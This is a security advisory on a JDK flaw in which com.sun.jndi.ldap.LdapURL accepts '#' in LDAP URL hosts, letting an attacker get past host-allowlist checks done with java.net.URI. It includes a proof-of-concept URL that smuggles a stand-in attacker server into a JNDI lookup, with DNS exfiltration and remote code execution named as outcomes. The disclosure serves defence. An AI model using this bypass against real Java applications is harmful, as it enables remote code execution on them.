Advisory: https://www.oracle.com/security-alerts/cpuapr2022.html

Authors: Karan Lyons & Anthony Weems

Context

Java’s javax.naming.ldap library is used for easy interoperation leveraging the Lightweight Directory Access Protocol (LDAP). This protocol can also be used through systems like the Java Naming and Directory Interface (JNDI) in order to remotely retrieve and deserialize Java classes, which allows for Remote Code Execution. This is by design and intended for legitimate use, but users of JNDI/LDAP/etc. are advised to be mindful of ensuring that connections are only made to trusted hosts.

Vulnerability

The JDK’s implementation of com.sun.jndi.ldap.LdapURL does not parse provided URIs in conformance with RFC 4516 (“Lightweight Directory Access Protocol (LDAP): Uniform Resource Locator”). Specifically it fails to properly validate that the <host> of a given URI contains only the expected IP-literal / IPv4address / reg-name:

RFC 4516:

<host> and <port> are defined in Sections 3.2.2 and 3.2.3 of [RFC3986].

RFC 3986 (“Uniform Resource Identifier (URI): Generic Syntax”):

host          = IP-literal / IPv4address / reg-name
reg-name      = *( unreserved / pct-encoded / sub-delims )
unreserved    = ALPHA / DIGIT / "-" / "." / "_" / "~"
pct-encoded   = "%" HEXDIG HEXDIG
sub-delims    = "!" / "$" / "&" / "'" / "(" / ")"
                / "*" / "+" / "," / ";" / "="

It also is inconsistent with the java.net.URI, which parses the host in conformance with RFC 2396 (“Uniform Resource Identifiers (URI): Generic Syntax”) & RFC 2732 (“Format for Literal IPv6 Addresses in URLs”):

https://docs.oracle.com/javase/8/docs/api/java/net/URI.html:

Aside from some minor deviations noted below, an instance of this class represents a URI reference as defined by RFC 2396: Uniform Resource Identifiers (URI): Generic Syntax, amended by RFC 2732: Format for Literal IPv6 Addresses in URLs.

RFC 2396:

host          = hostname | IPv4address
hostname      = *( domainlabel "." ) toplabel [ "." ]
domainlabel   = alphanum | alphanum *( alphanum | "-" ) alphanum
toplabel      = alpha | alpha *( alphanum | "-" ) alphanum
alphanum      = alpha | digit
alpha         = lowalpha | upalpha
lowalpha      = "a" | "b" | "c" | "d" | "e" | "f" | "g" | "h" | "i" |
                "j" | "k" | "l" | "m" | "n" | "o" | "p" | "q" | "r" |
                "s" | "t" | "u" | "v" | "w" | "x" | "y" | "z"
upalpha       = "A" | "B" | "C" | "D" | "E" | "F" | "G" | "H" | "I" |
                "J" | "K" | "L" | "M" | "N" | "O" | "P" | "Q" | "R" |
                "S" | "T" | "U" | "V" | "W" | "X" | "Y" | "Z"
digit         = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" |
                "8" | "9"

One of the key deviations is in LdapURL’s handling of # within the host. Per specification this character is not allowed, and the URI should be considered invalid. However, this is not what we find:

LdapURL ldapUrl = new LdapURL("ldap://invalid#host:123/dn");

String host = ldapUrl.getHost();
String port = ldapUrl.getPort();
String dn = ldapUrl.getDN();

System.out.format("host=`%s`, port=`%s`, dn=`%s`\n", host, port, dn);
// Prints: "host=`invalid#host`, port=`123`, dn=`dn`"

Impact

This issue has security implications when it comes to validating LDAP URLs before issuing a connection. For example, assume a developer wants to restrict JNDI LDAP lookups to a specific set of trusted hosts. Imagine the following validation logic:

String input = "ldap://localhost#attacker-controlled-server/dn";
URI uri = new URI(input);
if (uri.getHost().equalsIgnoreCase("localhost")) {
    Hashtable<String, Object> env = new Hashtable<String, Object>();
    env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
    env.put("java.naming.ldap.attributes.binary", "objectSID");
    env.put(Context.PROVIDER_URL, input);

    LdapContext ctx = new InitialLdapContext(env, null);
    System.out.println(ctx);
}
// Prints: "javax.naming.ldap.InitialLdapContext@xxxxxxxx"

The above validation using URI will fail, and depending on the platform DNS resolver implementation issue a JNDI LDAP lookup to localhost#attacker-controlled-server. In our testing, this is true in some resolvers and due to the known attack vectors against JNDI, could pose a great risk for any Java applications running on macOS or Alpine Linux that use LDAP.

Dependent on configuration it can result in: 1. A java.net.UnknownHostException. 2. A DNS lookup to the attacker controlled domain / name server, allowing for DNS Data Exfiltration. 3. A remote LDAP call made to the attacker controlled server, allowing for Malicious Remote Code Execution.

Recommendation

We recommend that Java’s LDAP URI parser be made compliant with the specification, such that attempting to request URIs such as the ones aforementioned will result in a java.net.URISyntaxException.